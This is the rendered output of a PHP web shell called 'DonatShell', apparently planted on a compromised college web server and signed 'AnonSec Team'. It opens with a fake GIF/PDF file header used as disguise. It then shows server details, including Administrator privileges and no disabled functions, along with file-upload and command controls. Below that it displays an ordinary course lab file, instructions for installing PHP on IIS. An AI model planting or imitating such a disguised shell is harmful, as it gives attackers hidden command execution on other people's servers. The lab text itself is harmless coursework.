GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.5/Lab03.5.phpinc
<?
// JimMartinson/CST2276/Labs/Lab03.5/Lab03.5.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc');
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; }

#$showGenerateComputerNamesVariables = true;
require('JimMartinson/CST2276/Labs/GenerateComputerNames.phpinc');

$disabled = '';
#$disabled = ' disabled';

$uploadFilename = $courseNumber.'_'.$evaluationName.'_'.$userFileName.'.png';

?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
The purpose of this lab is to install PHP software to generate dynamic HTML documents and configure IIS to use it.
<br><?=$gradeNote?>
<ol class="count">
	<li>
    Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Install PHP and configure IIS to handle php files.
		<ol>
			<li>Install PHP:
				<ol>
					<li>Download the <a href="../../Resources/php/php-8.1.16-nts-Win32-vs16-x64.zip">PHP 8.1.16 non-thread-safe zip file (php-8.1.16-nts-Win32-vs16-x64.zip)</a>.</li>
					<li>Extract the php-8.1.16-nts-Win32-vs16-x64.zip file to <b>C:\php8</b>.</li>
				</ol>
			</li>
			<li>Install the Microsoft Visual C++ 2015-2022 Redistributable:
				<ol>
					<li>Download the <a href="../../Resources/php/2015-2022_VC_redist.x64.exe">Microsoft Visual C++ 2015-2022 Redistributable installer (2015-2022_VC_redist.x64.exe)</a>.</li>
					<li>Run the 2015-2022_VC_redist.x64.exe installer.</li>
				</ol>
				<span class="note">This is needed for PHP 8, which needs the C++ 2015-2022 redistributable for the version of C++ that PHP 8 vas compiled with.</span>
			</li>
			<li>Configure IIS to handle .php files.
				<ol>
					<li>Open the Internet Information Services (IIS) Manager</li>
					<li>Go to <b><?=strtoupper($serverName)?> (<?=strtoupper(substr($domainName,0,3))?>\Administrator)</b> \ <b>Sites</b> \ <b>Defalt Web Site</b>.</li>
					<li>Open <b>Handler Mappings</b>.</li>
					<li>Select <b>Add Module Mapping...</b> from the Actions panel on the right.</li>
					<li>Configure the Module Mapping with:
						<ol>
							<li>Request path: <b class="copyText">*.php</b>.</li>
							<li>Module: <b class="copyText">FastCgiModule</b></li>
							<li>Executable: the path to the <b>php-cgi.exe</b> file. E.G. Mine was <code class="copyText">C:\php8\php-cgi.exe</code>.</li>
							<li>Name: <b class="copyText">php</b>.</li>
						</ol>
					</li>
					<li>Click <b>OK</b>.</li>
					<li>Click <b>Yes</b>.</li>
					<li>Configure <b>index.php</b> as a default document:
						<ol>
							<li>In Internet Information Services (IIS) Manager, go back to the <b>Defalt Web Site</b>.</li>
							<li>Open <b>Default Document</b>.</li>
							<li>Select <b>Add...</b> from the Actions panel on the right.</li>
							<li>Set the Name to <b class="copyText">index.php</b>.</li>
							<li>Click <b>OK</b>.</li>
						</ol>
					</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>Show that your installation an configuration works correctly.
		<ol>
			<li>Open <b class="copyText">C:\inetpub\wwwroot</b> in file explorer.</li>
			<li>Create a directory called <b class="copyText">php</b></li>
			<li>Download <a href="php.php">index.php</a> and save it in the <b>C:\inetpub\wwwroot\php</b> directory.</li>
			<li>Open <b class="copyText">http://localhost/php/</b> in a browser.</li>
			<li>Take a screenshot of the browser window and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder.<br>
				<? showBegin('See PHP browser example screenshot'); ?><br>
				<img src="images/php.png" alt="PHP browser screenshot"><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
	</li>
<? /**/ ?>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team